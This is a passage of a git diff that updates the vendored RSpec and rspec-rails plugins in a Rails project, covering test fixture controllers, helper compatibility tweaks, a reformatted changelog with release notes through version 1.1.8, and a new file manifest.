+extra_controller_paths = File.expand_path("#{dir}/../spec_resources/controllers")
+
+unless ActionController::Routing.controller_paths.include?(extra_controller_paths)
+ ActionController::Routing.instance_eval {@possible_controllers = nil}
+ ActionController::Routing.controller_paths << extra_controller_paths
+end
module Spec
module Rails
@@ -38,6 +43,12 @@ class Proc
end
end
+Spec::Runner.configure do |config|
+ config.before(:each, :type => :controller) do
+ end
+end
+
+
ActionController::Routing::Routes.draw do |map|
map.resources :rspec_on_rails_specs
map.connect 'custom_route', :controller => 'custom_route_spec', :action => 'custom_route'
diff --git a/vendor/plugins/rspec-rails/spec_resources/controllers/controller_spec_controller.rb b/vendor/plugins/rspec-rails/spec_resources/controllers/controller_spec_controller.rb
index 769f4c58..97ec6bcf 100644
--- a/vendor/plugins/rspec-rails/spec_resources/controllers/controller_spec_controller.rb
+++ b/vendor/plugins/rspec-rails/spec_resources/controllers/controller_spec_controller.rb
@@ -1,4 +1,12 @@
class ControllerSpecController < ActionController::Base
+ before_filter :raise_error, :only => :action_with_skipped_before_filter
+
+ def raise_error
+ raise "from a before filter"
+ end
+
+ skip_before_filter :raise_error
+
if ['edge','2.0.0'].include?(ENV['RSPEC_RAILS_VERSION'])
set_view_path [File.join(File.dirname(__FILE__), "..", "views")]
else
@@ -27,6 +35,16 @@ class ControllerSpecController < ActionController::Base
session[:session_key] = "session value"
end
+ def action_which_gets_cookie
+ raise "expected #{params[:expected].inspect}, got #{cookies[:cookie_key].inspect}" unless (cookies[:cookie_key] == params[:expected])
+ render :text => ""
+ end
+
+ def action_which_sets_cookie
+ cookies['cookie_key'] = params[:value]
+ render :text => ""
+ end
+
def action_with_partial
render :partial => "controller_spec/partial"
end
@@ -44,7 +62,6 @@ class ControllerSpecController < ActionController::Base
end
def action_setting_the_assigns_hash
- assigns['direct_assigns_key'] = :direct_assigns_key_value
@indirect_assigns_key = :indirect_assigns_key_value
end
@@ -64,5 +81,19 @@ class ControllerSpecController < ActionController::Base
:partial => 'non_existent_partial'
end
end
+
+ def action_with_skipped_before_filter
+ render :text => ""
+ end
+
+ def action_that_assigns_false_to_a_variable
+ @a_variable = false
+ render :text => ""
+ end
end
+class ControllerInheritingFromApplicationControllerController < ApplicationController
+ def action_with_inherited_before_filter
+ render :text => ""
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/spec_resources/controllers/render_spec_controller.rb b/vendor/plugins/rspec-rails/spec_resources/controllers/render_spec_controller.rb
index b546abe4..a9543ad1 100644
--- a/vendor/plugins/rspec-rails/spec_resources/controllers/render_spec_controller.rb
+++ b/vendor/plugins/rspec-rails/spec_resources/controllers/render_spec_controller.rb
@@ -23,4 +23,8 @@ class RenderSpecController < ApplicationController
def action_that_renders_nothing
render :nothing => true
end
+
+ def action_with_alternate_layout
+ render :layout => 'simple'
+ end
end
diff --git a/vendor/plugins/rspec-rails/spec_resources/helpers/explicit_helper.rb b/vendor/plugins/rspec-rails/spec_resources/helpers/explicit_helper.rb
index cab60046..bd72d0b2 100644
--- a/vendor/plugins/rspec-rails/spec_resources/helpers/explicit_helper.rb
+++ b/vendor/plugins/rspec-rails/spec_resources/helpers/explicit_helper.rb
@@ -5,7 +5,11 @@ module ExplicitHelper
# this is an example of a method spec'able with eval_erb in helper specs
def prepend(arg, &block)
- concat(arg, block.binding) + block.call
+ begin # rails edge after 2.1.0 eliminated need for block.binding
+ concat(arg) + block.call
+ rescue
+ concat(arg, block.binding) + block.call
+ end
end
def named_url
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/missing_class/missing_class_generator.rb b/vendor/plugins/rspec-rails/spec_resources/views/layouts/application.rhtml
similarity index 100%
rename from vendor/rails/railties/test/fixtures/lib/generators/missing_class/missing_class_generator.rb
rename to vendor/plugins/rspec-rails/spec_resources/views/layouts/application.rhtml
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/missing_class/templates/.gitignore b/vendor/plugins/rspec-rails/spec_resources/views/layouts/simple.rhtml
similarity index 100%
rename from vendor/rails/railties/test/fixtures/lib/generators/missing_class/templates/.gitignore
rename to vendor/plugins/rspec-rails/spec_resources/views/layouts/simple.rhtml
diff --git a/vendor/plugins/rspec-rails/spec_resources/views/objects/_object.html.erb b/vendor/plugins/rspec-rails/spec_resources/views/objects/_object.html.erb
new file mode 100644
index 00000000..b751f09c
--- /dev/null
+++ b/vendor/plugins/rspec-rails/spec_resources/views/objects/_object.html.erb
@@ -0,0 +1 @@
+<%= object.name %>
\ No newline at end of file
diff --git a/vendor/rails/railties/test/fixtures/lib/generators/missing_generator/templates/.gitignore b/vendor/plugins/rspec-rails/spec_resources/views/render_spec/action_with_alternate_layout.rhtml
similarity index 100%
rename from vendor/rails/railties/test/fixtures/lib/generators/missing_generator/templates/.gitignore
rename to vendor/plugins/rspec-rails/spec_resources/views/render_spec/action_with_alternate_layout.rhtml
diff --git a/vendor/plugins/rspec-rails/spec_resources/views/view_spec/block_helper.rhtml b/vendor/plugins/rspec-rails/spec_resources/views/view_spec/block_helper.rhtml
new file mode 100644
index 00000000..3a1dcd5d
--- /dev/null
+++ b/vendor/plugins/rspec-rails/spec_resources/views/view_spec/block_helper.rhtml
@@ -0,0 +1,3 @@
+<% if_allowed do %>
+
block helper was rendered
+<% end %>
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/spec_resources/views/view_spec/should_not_receive.rhtml b/vendor/plugins/rspec-rails/spec_resources/views/view_spec/should_not_receive.rhtml
new file mode 100644
index 00000000..d3e5f441
--- /dev/null
+++ b/vendor/plugins/rspec-rails/spec_resources/views/view_spec/should_not_receive.rhtml
@@ -0,0 +1,3 @@
+<% if @obj.render_partial? %>
+ <%= render :partial => 'some_partial' %>
+<% end %>
diff --git a/vendor/plugins/rspec-rails/stories/configuration/stories.rb b/vendor/plugins/rspec-rails/stories/configuration/stories.rb
new file mode 100644
index 00000000..768b9ec6
--- /dev/null
+++ b/vendor/plugins/rspec-rails/stories/configuration/stories.rb
@@ -0,0 +1,5 @@
+require File.join(File.dirname(__FILE__), *%w[.. helper])
+
+with_steps_for :running_rspec do
+ run File.join(File.dirname(__FILE__), *%w[.. .. .. rspec stories configuration before_blocks.story]), :type => RailsStory
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/stories/helper.rb b/vendor/plugins/rspec-rails/stories/helper.rb
index 50c6ee69..7fb2cff3 100644
--- a/vendor/plugins/rspec-rails/stories/helper.rb
+++ b/vendor/plugins/rspec-rails/stories/helper.rb
@@ -1,5 +1,6 @@
dir = File.dirname(__FILE__)
$LOAD_PATH.unshift File.expand_path("#{dir}/../lib")
require File.expand_path("#{dir}/../../../../spec/spec_helper")
+require File.expand_path("#{dir}/../../rspec/stories/helper")
require 'spec/rails/story_adapter'
\ No newline at end of file
diff --git a/vendor/plugins/rspec/.gitignore b/vendor/plugins/rspec/.gitignore
index 8e5fb3a8..b5e5ce56 100644
--- a/vendor/plugins/rspec/.gitignore
+++ b/vendor/plugins/rspec/.gitignore
@@ -1,7 +1,9 @@
pkg
doc
+coverage
tmtags
story_server/prototype/rspec_stories.html
.DS_Store
.emacs-project
*~
+email.txt
diff --git a/vendor/plugins/rspec/CHANGES b/vendor/plugins/rspec/History.txt
similarity index 92%
rename from vendor/plugins/rspec/CHANGES
rename to vendor/plugins/rspec/History.txt
index d3202fad..06d7a54f 100644
--- a/vendor/plugins/rspec/CHANGES
+++ b/vendor/plugins/rspec/History.txt
@@ -1,5 +1,57 @@
-== Version 1.1.5 (in git)
+=== Maintenance
+* 5 bug fixes
+
+ * spec command prints help when no arguments
+ * fixed typo in help. Fixes #73.
+ * fixed bug where should_receive..and_yield after similar stub added the args_to_yield to the stub's original args_to_yield (Pat Maddox)
+ * fixed bug where rspec-autotest (autospec) was loading non-spec files in spec directory. Fixes #559.
+ * fixed bug where should_not_receive was reporting twice
+
+* 2 minor enhancements
+
+ * mingw indicates windows too (thanks to Luis Lavena for the tip)
+ * improved output for partial mock expecation failures
+
+=== Version 1.1.8 / 2008-10-03
+
+* 2 bug fixes
+
+ * restore colorized output in linux and windows w/ autotest (Tim Pope). Fixes #413.
+ * autospec no longer hangs on windows. Fixes #554.
+
+=== Version 1.1.7 / 2008-10-02
+
+* no changes since 1.1.6, but releasing rspec-1.1.7 to align versions with rspec-rails-1.1.7
+
+=== Version 1.1.6 / 2008-10-02
+
+* 2 bug fixes
+
+ * fixed bug where negative message expectations following stubs resulted in false (negative) positives (Mathias Meyer). Closes #548.
+ * fixed bug where Not Yet Implemented examples report incorrect caller (Scott Taylor). Closes #547.
+
+* 1 minor enhancement
+
+ * removed deprecated mock argument constraint symbols
+
+=== Version 1.1.5 / 2008-09-28
+
+IMPORTANT: use the new 'autospec' command instead of 'autotest'. We changed
+the way autotest discovers rspec so the autotest executable won't
+automatically load rspec anymore. This allows rspec to live side by side other
+spec frameworks without always co-opting autotest through autotest's discovery
+mechanism.
+
+ALSO IMPORTANT: $rspec_options is gone. If you were using this for anything
+(like your own runners), use Spec::Runner.options instead.
+
+ADDITIONALLY IMPORTANT: If you have any custom formatters, you'll need to
+modify #example_pending to accept three arguments instead of just two. See the
+rdoc for Spec::Runner::Formatter::BaseFormatter#example_pending for more
+information.
+
+* Consider MinGW as valid RUBY_PLATFORM for --colour option. (patch from Luis Lavena). Closes #406.
* Added additional characters to be escaped in step strings (patch from Jake Cahoon). Closes #417.
* Disable color codes on STDOUT when STDOUT.tty? is false (patch from Tim Pope). Closes #413.
* mock(:null_object=>true) plays nice with HTML (patch from Gerrit Kaiser). Closes #230.
@@ -10,8 +62,31 @@
* html story formatter correctly colors story/scenario red if step fails (Patch from Joseph Wilk). Closes #300
* plain text story formatter correctly colors story/scenario red if step fails (Patch from Joseph Wilk). Closes #439
* quiet deprecation warning on inflector - patch from RSL. Closes #430
+* added autospec executable
+* added configurable messages to simple_matcher
+* should and should_not return true on success
+* use hoe for build/release
+* bye, bye translator
+* autotest/rspec uses ruby command instead of spec command (no need for spec command unless loading directories)
+* Avoid 'invalid option -O' in autotest (patch from Jonathan del Strother). Closes #486.
+* Fix: Unimplemented step with new line throws error (patch from Ben Mabey). Closes #494.
+* Only use color codes on tty; override for autospec (patch from Tim Pope). Closes #413.
+* Warn when setting mock expectations on nil (patch from Ben Mabey). Closes #521.
+* Support argument constraints as values in the hash_including contstraint. Thanks to Pirkka Hartikainen for failing code examples and the fix. Buttons up #501.
+* mock(:null_object=>true) plays nice with HTML (patch from Gerrit Kaiser)
+* Consider MinGW as valid RUBY_PLATFORM for --colour option. (patch from Luis Lavena). Closes #406.
+* Add 2nd arg to respond_to? to align w/ core Ruby rdoc: http://www.ruby-doc.org/core/classes/Object.html#M000604
+* quiet backtrace tweaker filters individual lines out of multiline (ala Rails) error messages (Pat Maddox)
+* added ability to stub multiple methods in one stub! call (Pat Maddox)
+* story progress bar formatter and more colourful summaries from the plain text story formatter (Joseph Wilk)
+* Avoid ruby invocation errors when autotesting (Jonathan del Strother)
+* added mock('foo').as_null_object
+* add file and line number to pending_example for formatters (Scott Taylor)
+* return last stubbed value for mock expectation with no explicit return (Pat Maddox)
+* Fixed bug when should_receive(:foo).any_number_of_times is called after similar stub (Pat Maddox)
+* Warning messages now issued when expectations are set on nil (Ben Mabey)
-== Version 1.1.4
+=== Version 1.1.4
Maintenance release.
@@ -45,7 +120,7 @@ metaclass call with (class << self; self; end) and all will be well.
* decoupled mock framework from global extensions used by rspec - supports use of flexmock or mocha w/ rails
* Applied patch from Roman Chernyatchik to allow the user to pass in the ruby version into spectask. Closes #325, #370
-== Version 1.1.3
+=== Version 1.1.3
Maintenance release.
Notice to autotest users: you must also upgrade to ZenTest-3.9.0.
@@ -63,7 +138,7 @@ Notice to autotest users: you must also upgrade to ZenTest-3.9.0.
* More tweaks to regexp step names
* Fixed focused specs in nested ExampleGroups. Closes #225.
-== Version 1.1.2
+=== Version 1.1.2
Minor bug fixes/enhancements.
Notice to autotest users: you must also upgrade to ZenTest-3.8.0.
@@ -79,14 +154,14 @@ Notice to autotest users: you must also upgrade to ZenTest-3.8.0.
* Applied patch from Ian Dees to quiet the Story Runner backtrace. Closes #183.
* Complete support for defining steps with regexp 'names'.
-== Version 1.1.1
+=== Version 1.1.1
Bug fix release.
* Fix regression in 1.1.0 that caused transactions to not get rolled back between examples.
* Applied patch from Bob Cotton to reintroduce ExampleGroup.description_options. Closes LH[#186]
-== Version 1.1.0
+=== Version 1.1.0
The "tell me a story and go nest yourself" release.
@@ -97,7 +172,7 @@ The "tell me a story and go nest yourself" release.
* Applied LH[#178] small annoyances running specs with warnings enabled (Patch from Mikko Lehtonen)
* Tighter integration with Rails fixtures. Take advantage of fixture caching to get performance improvements (Thanks to Pat Maddox, Nick Kallen, Jonathan Barnes, and Curtis)
-== Version 1.1.0-RC1
+=== Version 1.1.0-RC1
Textmate Bundle users - this release adds a new RSpec bundle that highlights describe, it, before and after and
provides navigation to descriptions and examples (rather than classes and methods). When you first install this,
@@ -207,18 +282,18 @@ rspec_on_rails users - don't forget to run script/generate rspec
* Added (back) the verbose attribute in Spec::Rake::SpecTask
* Changed documentation to point at the new http svn URL, which is more accessible.
-== Version 1.0.8
+=== Version 1.0.8
Another bugfix release - this time to resolve the version mismatch
-== Version 1.0.7
+=== Version 1.0.7
Quick bugfix release to ensure that you don't have to have the rspec gem installed
in order to use autotest with rspec_on_rails.
* Fixed [#13015] autotest gives failure in 'spec_command' after upgrade 1.0.5 to 1.0.6
-== Version 1.0.6
+=== Version 1.0.6
The "holy cow, batman, it's been a long time since we released and there are a ton of bug
fixes, patches and even new features" release.
@@ -295,7 +370,7 @@ able to use the passed Example instance as if it were a String.
* Documented environment variables for Spec::Rake::SpecTask. Renamed SPECOPTS and RCOVOPTS to SPEC_OPTS and RCOV_OPTS.
* Fixed [#10534] Windows: undefined method 'controller_name'
-== Version 1.0.5
+=== Version 1.0.5
Bug fixes. Autotest plugin tweaks.
* Fixed [#11378] fix to 10814 broke drb (re-opened #10814)
@@ -307,7 +382,7 @@ Bug fixes. Autotest plugin tweaks.
* Fixed [#11247] standalone autotest doesn't work because of unneeded autotest.rb
* Applied [#11221] Autotest support does not work w/o Rails Gem installed (Patch from Josh Knowles)
-== Version 1.0.4
+=== Version 1.0.4
The getting ready for JRuby release.
* Fixed [#11181] behaviour_type scoping of config.before(:each) is not working
@@ -319,7 +394,7 @@ The getting ready for JRuby release.
* Fixed [#11143] Views code for ActionController::Base#render broke between 1.0.0 and 1.0.3 on Rails Edge r6731
* Added raise_controller_errors for controller examples in Spec::Rails
-== Version 1.0.3
+=== Version 1.0.3
Bug fixes.
* Fixed [#11104] Website uses old specify notation
@@ -330,10 +405,10 @@ Bug fixes.
* Fixed [#11082] RspecResourceGenerator should be RspecScaffoldGenerator
* Fixed [#10959] Focused Examples do not work for Behaviour defined with constant with modules
-== Version 1.0.2
+=== Version 1.0.2
This is just to align the version numbers in rspec and rspec_on_rails.
-== Version 1.0.1
+=== Version 1.0.1
This is a maintenance release with mostly cleaning up, and one minor enhancement -
Modules are automatically included when described directly.
@@ -345,7 +420,7 @@ Modules are automatically included when described directly.
* Improved integration with autotest (Patches from Ryan Davis and David Goodland)
* Some small fixes to make all specs run on JRuby.
-== Version 1.0.0
+=== Version 1.0.0
The stake in the ground release. This represents a commitment to the API as it is. No significant
backwards compatibility changes in the API are expected after this release.
@@ -370,7 +445,7 @@ backwards compatibility changes in the API are expected after this release.
* Applied [#10698] Running with --drb executes specs twice (patch from Ruy Asan)
* Fixed [#10871] 0.9.4 - Focussed spec runner fails to run specs in descriptions with type and string when there is no leading space in the string
-== Version 0.9.4
+=== Version 0.9.4
This release introduces massive improvements to Spec::Ui - the user interface functional testing
extension to RSpec. There are also some minor bug fixes to the RSpec core.
@@ -383,7 +458,7 @@ extension to RSpec. There are also some minor bug fixes to the RSpec core.
* Each formatter now flushes their own IO. This is to avoid buffering of output.
* Fixed [#10670] IVarProxy#delete raises exception when instance variable does not exist
-== Version 0.9.3
+=== Version 0.9.3
This is a bugfix release.
* Fixed [#10594] Failing Custom Matcher show NAME NOT GENERATED description
@@ -392,7 +467,7 @@ This is a bugfix release.
* Applied [#10566] prepend_before and prepend_after callbacks
* Applied [#10567] Call setup and teardown using before and after callbacks
-== Version 0.9.2
+=== Version 0.9.2
This is a quick maintenance release.
* Added some website love
@@ -402,7 +477,7 @@ This is a quick maintenance release.
* Fixed --colour support for Windows. This is a regression that was introduced in 0.9.1
* Applied [#10460] Make SpecRunner easier to instantiate without using commandline args
-== Version 0.9.1
+=== Version 0.9.1
This release introduces #describe and #it (aliased as #context and #specify for
backwards compatibility). This allows you to express specs like this:
@@ -519,15 +594,15 @@ See Spec::DSL::Behaviour for more on predicate_matchers
* Applied [#8994] trunk: generated names for be_ specs (Multiple patches from Yurii Rashkovskii)
* Applied [#9983]: Allow before and after to be called in BehaviourEval. This is useful for shared examples.
-== Version 0.8.2
+=== Version 0.8.2
Replaced assert_select fork with an assert_select wrapper for have_tag. This means that "should have_rjs" no longer supports :hide or :effect, but you can still use should_have_rjs for those.
-== Version 0.8.1
+=== Version 0.8.1
Quick "in house" bug-fix
-== Version 0.8.0
+=== Version 0.8.0
This release introduces a new approach to handling expectations using Expression Matchers.
@@ -587,11 +662,11 @@ It also sports myriad new features, bug fixes, patches and general goodness:
* Applied [#7393] Fix for rake task (Patch from Pat Maddox)
* Reinstated support for response.should_render (in addition to controller.should_render)
-== Version 0.7.5.1
+=== Version 0.7.5.1
Bug fix release to allow downloads of rspec gem using rubygems 0.9.1.
-== Version 0.7.5
+=== Version 0.7.5
This release adds support for Heckle - Seattle'rb's code mutation tool.
There are also several bug fixes to the RSpec core and the RSpec on Rails plugin.
@@ -614,7 +689,7 @@ There are also several bug fixes to the RSpec core and the RSpec on Rails plugin
* Applied [#6989] partials with locals (patch from Micah Martin)
* Applied [#7023] Typo in team.page
-== Version 0.7.4
+=== Version 0.7.4
This release features a complete redesign of the reports generated with --format html.
As usual there are many bug fixes - mostly related to spec/rails.
@@ -636,7 +711,7 @@ As usual there are many bug fixes - mostly related to spec/rails.
* Using obj.inspect for all messages
* Improved performance by getting rid of instance_exec (instance_eval is good enough because we never need to pass it args)
-== Version 0.7.3
+=== Version 0.7.3
Almost normal bug fix/new feature release.
@@ -657,7 +732,7 @@ A couple of things you need to change in your rails specs:
* Fixed [#6643] script/generate rspec_controller: invalid symbol generation for 'controller_name' for *modularized* controllers
* The script/rails_spec command has been moved to bin/drbspec in RSpec core (installed by the gem)
-== Version 0.7.2
+=== Version 0.7.2
This release introduces a brand new RSpec bundle for TextMate, plus some small bugfixes.
@@ -669,7 +744,7 @@ This release introduces a brand new RSpec bundle for TextMate, plus some small b
* Added [#6589] New -l --line option. This is useful for IDE/editor runners/extensions.
* Fixed [#6615] controller.should_render_rjs should support :partial => 'path/to/template'
-== Version 0.7.1
+=== Version 0.7.1
Bug fixes and a couple o' new features.
@@ -688,7 +763,7 @@ Bug fixes and a couple o' new features.
* Different printing and colours for unmet expectations (red) and other exceptions (magenta)
* Simplified method_missing on mock_methods to make it less invasive on partial mocks.
-== Version 0.7.0
+=== Version 0.7.0
This is the "Grow up and eat your own dog food release". RSpec is now used on itself and
we're no longer using Test::Unit to test it. Although, we are still extending Test::Unit
@@ -775,7 +850,7 @@ As usual, there are also other new features and bug fixes:
* Added [#6334] subject.should_have_xyz will try to call subject.has_xyz? - use this for hash.should_have_key(key)
* Fixed [#6017] Rake task should ignore empty or non-existent spec-dirs
-== Version 0.6.4
+=== Version 0.6.4
In addition to a number of bug fixes and patches, this release begins to formalize the support for
RSpec on Rails.
@@ -801,7 +876,7 @@ RSpec on Rails.
* Restructured directories and Modules in order to separate rspec into three distinct Modules: Spec::Expectations, Spec::Runner and Spec::Mocks. This will allow us to more easily integrate other mock frameworks and/or allow test/unit users to take advantage of the expectation API.
* Applied [#5620] support any boolean method and arbitrary comparisons (5.should_be < 6) (Patch from Mike Williams)
-== Version 0.6.3
+=== Version 0.6.3
This release fixes some minor bugs related to RSpec on Rails
Note that if you upgrade a rails app with this version of the rspec_on_rails plugin
@@ -811,14 +886,14 @@ you should remove your lib/tasks/rspec.rake if it exists.
* Applied [#5557] Put rspec.rake into the task directory of the RSpec on Rails plugin (Patch from Daniel Siemssen)
* Applied [#5556] rails_spec_server loads environment.rb twice (Patch from Daniel Siemssen)
-== Version 0.6.2
+=== Version 0.6.2
This release fixes a couple of regressions with the rake task that were introduced in the previous version (0.6.1)
* Fixed [#5518] ruby -w: warnings in 0.6.1
* Applied [#5525] fix rake task path to spec tool for gem-installed rspec (patch from Riley Lynch)
* Fixed a teensey regression with the rake task - introduced in 0.6.1. The spec command is now quoted so it works on windows.
-== Version 0.6.1
+=== Version 0.6.1
This is the "fix the most annoying bugs release" of RSpec. There are 9 bugfixes this time.
Things that may break backwards compatibility:
1) Spec::Rake::SpecTask no longer has the options attribute. Use ruby_opts, spec_opts and rcov_opts instead.
@@ -833,7 +908,7 @@ Things that may break backwards compatibility:
* Applied fixes to rails_spec_server to improve its ability to run several times. (Patch from Daniel Siemssen)
* Changed RCov::VerifyTask to fail if the coverage is above the threshold. This is to ensure it gets bumped when coverage improves.
-== Version 0.6.0
+=== Version 0.6.0
This release makes an official commitment to underscore_syntax (with no more support for dot.syntax)
* Fixed bug (5292) that caused mock argument matching to fail
@@ -845,7 +920,7 @@ This release makes an official commitment to underscore_syntax (with no more sup
* Added support for should_not_receive(:msg) (will be removing should_receive(:msg).never some time soon)
* Added support for should_have_exactly(5).items_in_collection
-== Version 0.5.16
+=== Version 0.5.16
This release improves Rails support and test2spec translation.
* Fixed underscore problems that occurred when RSpec was used in Rails
@@ -855,12 +930,12 @@ This release improves Rails support and test2spec translation.
* Added failure_message to RSpec Rake task
* test2spec now defines converted helper methods outside of the setup block (bug #5057).
-== Version 0.5.15
+=== Version 0.5.15
This release removes a prematurely added feature that shouldn't have been added.
* Removed support for differences that was added in 0.5.14. The functionality is not aligned with RSpec's vision.
-== Version 0.5.14
+=== Version 0.5.14
This release introduces better ways to extend specs, improves some of the core API and
a experimental support for faster rails specs.
@@ -872,7 +947,7 @@ a experimental support for faster rails specs.
* Fixed bug that caused should_render to break if given a :symbol (in Rails)
* Added support for comparing exception message in should_raise and should_not_raise
-== Version 0.5.13
+=== Version 0.5.13
This release fixes some subtle bugs in the mock API.
* Use fully-qualified class name of Exceptions in failure message. Easier to debug that way.
@@ -880,7 +955,7 @@ This release fixes some subtle bugs in the mock API.
* Mocks not raise AmbiguousReturnError if an explicit return is used at the same time as an expectation block.
* Blocks passed to yielding mocks can now raise without causing mock verification to fail.
-== Version 0.5.12
+=== Version 0.5.12
This release adds diff support for failure messages, a HTML formatter plus some other
minor enhancements.
@@ -892,26 +967,26 @@ minor enhancements.
* Added --verbose mode for test2spec - useful for debugging when classes fail to translate.
* Output of various formatters is now flushed - to get more continuous output.
-== Version 0.5.11
+=== Version 0.5.11
This release makes test2spec usable with Rails (with some manual steps).
See http://rspec.rubyforge.org/tools/rails.html for more details
* test2spec now correctly translates bodies of helper methods (non- test_*, setup and teardown ones).
* Added more documentation about how to get test2spec to work with Rails.
-== Version 0.5.10
+=== Version 0.5.10
This version features a second rewrite of test2spec - hopefully better than the previous one.
* Improved test2spec's internals. It now transforms the syntax tree before writing out the code.
-== Version 0.5.9
+=== Version 0.5.9
This release improves test2spec by allowing more control over the output
* Added --template option to test2spec, which allows for custom output driven by ERB
* Added --quiet option to test2spec
* Removed unnecessary dependency on RubyToC
-== Version 0.5.8
+=== Version 0.5.8
This release features a new Test::Unit to RSpec translation tool.
Also note that the RubyGem of the previous release (0.5.7) was corrupt.
We're close to being able to translate all of RSpec's own Test::Unit
@@ -920,7 +995,7 @@ tests and have them run successfully!
* Updated test2spec documentation.
* Replaced old test2rspec with a new test2spec, which is based on ParseTree and RubyInline.
-== Version 0.5.7
+=== Version 0.5.7
This release changes examples and documentation to recommend underscores rather than dots,
and addresses some bugfixes and changes to the spec commandline.
@@ -928,12 +1003,12 @@ and addresses some bugfixes and changes to the spec commandline.
* All documentation and examples are now using '_' instead of '.'
* Custom external formatters can now be specified via --require and --format.
-== Version 0.5.6
+=== Version 0.5.6
This release fixes a bug in the Rails controller generator
* The controller generator did not write correct source code (missing 'do'). Fixed.
-== Version 0.5.5
+=== Version 0.5.5
This release adds initial support for Ruby on Rails in the rspec_generator gem.
* [Rails] Reorganised Lachie's original code to be a generator packaged as a gem rather than a plugin.
@@ -941,7 +1016,7 @@ This release adds initial support for Ruby on Rails in the rspec_generator gem.
* Remove stack trace lines from TextMate's Ruby bundle
* Better error message from spectask when no spec files are found.
-== Version 0.5.4
+=== Version 0.5.4
The "the tutorial is ahead of the gem" release
* Support for running a single spec with --spec
@@ -966,7 +1041,7 @@ The "the tutorial is ahead of the gem" release
* backtrace excludes rspec code - use -b to include it
* split examples into examples (passing) and failing_examples
-== Version 0.5.3
+=== Version 0.5.3
The "hurry up, CoR is in two days" release.
* Don't run rcov by default
@@ -975,14 +1050,14 @@ The "hurry up, CoR is in two days" release.
* Even more failure output cleanup (simplification)
* Added duck_type constraint for mocks
-== Version 0.5.2
+=== Version 0.5.2
This release has minor improvements to the commandline and fixes some gem warnings
* Readded README to avoid RDoc warnings
* Added --version switch to commandline
* More changes to the mock API
-== Version 0.5.1
+=== Version 0.5.1
This release is the first release of RSpec with a new website. It will look better soon.
* Added initial documentation for API
@@ -992,7 +1067,7 @@ This release is the first release of RSpec with a new website. It will look bett
* Various changes to the mock API,
* Various improvements to failure reporting
-== Version 0.5.0
+=== Version 0.5.0
This release introduces a new API and obsolesces previous versions.
* Moved source code to separate subfolders
@@ -1002,20 +1077,20 @@ This release introduces a new API and obsolesces previous versions.
* this would be 0.5.0 if I updated the documentation
* it breaks all of your existing specifications. We're not sorry.
-== Version 0.3.2
+=== Version 0.3.2
The "srbaker is an idiot" release.
* also forgot to update the path to the actual Subversion repository
* this should be it
-== Version 0.3.1
+=== Version 0.3.1
This is just 0.3.0, but with the TUTORIAL added to the documentation list.
* forgot to include TUTORIAL in the documentation
-== Version 0.3.0
+=== Version 0.3.0
It's been a while since last release, lots of new stuff is available. For instance:
@@ -1024,7 +1099,7 @@ It's been a while since last release, lots of new stuff is available. For insta
* some documentation improvements
* RSpec usable as a DSL
-== Version 0.2.0
+=== Version 0.2.0
This release provides a tutorial for new users wishing to get started with
RSpec, and many improvements.
@@ -1033,7 +1108,7 @@ RSpec, and many improvements.
* update the examples to the new mock api
* added TUTORIAL, a getting started document for new users of RSpec
-== Version 0.1.7
+=== Version 0.1.7
This release improves installation and documentation, mock integration and error reporting.
@@ -1048,27 +1123,27 @@ This release improves installation and documentation, mock integration and error
* Made more parts of the Spec::Context API private to avoid accidental usage.
* Added more RDoc to Spec::Context.
-== Version 0.1.6
+=== Version 0.1.6
More should methods.
* Added should_match and should_not_match.
-== Version 0.1.5
+=== Version 0.1.5
Included examples and tests in gem.
-== Version 0.1.4
+=== Version 0.1.4
More tests on block based Mock expectations.
-== Version 0.1.3
+=== Version 0.1.3
Improved mocking:
* block based Mock expectations.
-== Version 0.1.2
+=== Version 0.1.2
This release adds some improvements to the mock API and minor syntax improvements
@@ -1079,14 +1154,14 @@ This release adds some improvements to the mock API and minor syntax improvement
* Improved exception trace by adding exception class name to error message.
* Renamed some tests for better consistency.
-== Version 0.1.1
+=== Version 0.1.1
This release adds some shoulds and improves error reporting
* Added should be_same_as and should_not be_same_as.
* Improved error reporting for comparison expectations.
-== Version 0.1.0
+=== Version 0.1.0
This is the first preview release of RSpec, a Behaviour-Driven Development library for Ruby
diff --git a/vendor/plugins/rspec/MIT-LICENSE b/vendor/plugins/rspec/License.txt
similarity index 98%
rename from vendor/plugins/rspec/MIT-LICENSE
rename to vendor/plugins/rspec/License.txt
index 336e52c9..b98ea769 100644
--- a/vendor/plugins/rspec/MIT-LICENSE
+++ b/vendor/plugins/rspec/License.txt
@@ -1,3 +1,5 @@
+(The MIT License)
+
Copyright (c) 2005-2008 The RSpec Development Team
Permission is hereby granted, free of charge, to any person obtaining
diff --git a/vendor/plugins/rspec/Manifest.txt b/vendor/plugins/rspec/Manifest.txt
new file mode 100644
index 00000000..96da6470
--- /dev/null
+++ b/vendor/plugins/rspec/Manifest.txt
@@ -0,0 +1,404 @@
+History.txt
+License.txt
+Manifest.txt
+README.txt
+Rakefile
+TODO.txt
+bin/autospec
+bin/spec
+examples/pure/autogenerated_docstrings_example.rb
+examples/pure/before_and_after_example.rb
+examples/pure/behave_as_example.rb
+examples/pure/custom_expectation_matchers.rb
+examples/pure/custom_formatter.rb
+examples/pure/dynamic_spec.rb
+examples/pure/file_accessor.rb
+examples/pure/file_accessor_spec.rb
+examples/pure/greeter_spec.rb
+examples/pure/helper_method_example.rb
+examples/pure/io_processor.rb
+examples/pure/io_processor_spec.rb
+examples/pure/legacy_spec.rb
+examples/pure/mocking_example.rb
+examples/pure/multi_threaded_behaviour_runner.rb
+examples/pure/nested_classes_example.rb
+examples/pure/partial_mock_example.rb
+examples/pure/pending_example.rb
+examples/pure/predicate_example.rb
+examples/pure/priority.txt
+examples/pure/shared_example_group_example.rb
+examples/pure/shared_stack_examples.rb
+examples/pure/spec_helper.rb
+examples/pure/stack.rb
+examples/pure/stack_spec.rb
+examples/pure/stack_spec_with_nested_example_groups.rb
+examples/pure/stubbing_example.rb
+examples/pure/yielding_example.rb
+examples/stories/adder.rb
+examples/stories/addition
+examples/stories/addition.rb
+examples/stories/calculator.rb
+examples/stories/game-of-life/.loadpath
+examples/stories/game-of-life/README.txt
+examples/stories/game-of-life/behaviour/everything.rb
+examples/stories/game-of-life/behaviour/examples/examples.rb
+examples/stories/game-of-life/behaviour/examples/game_behaviour.rb
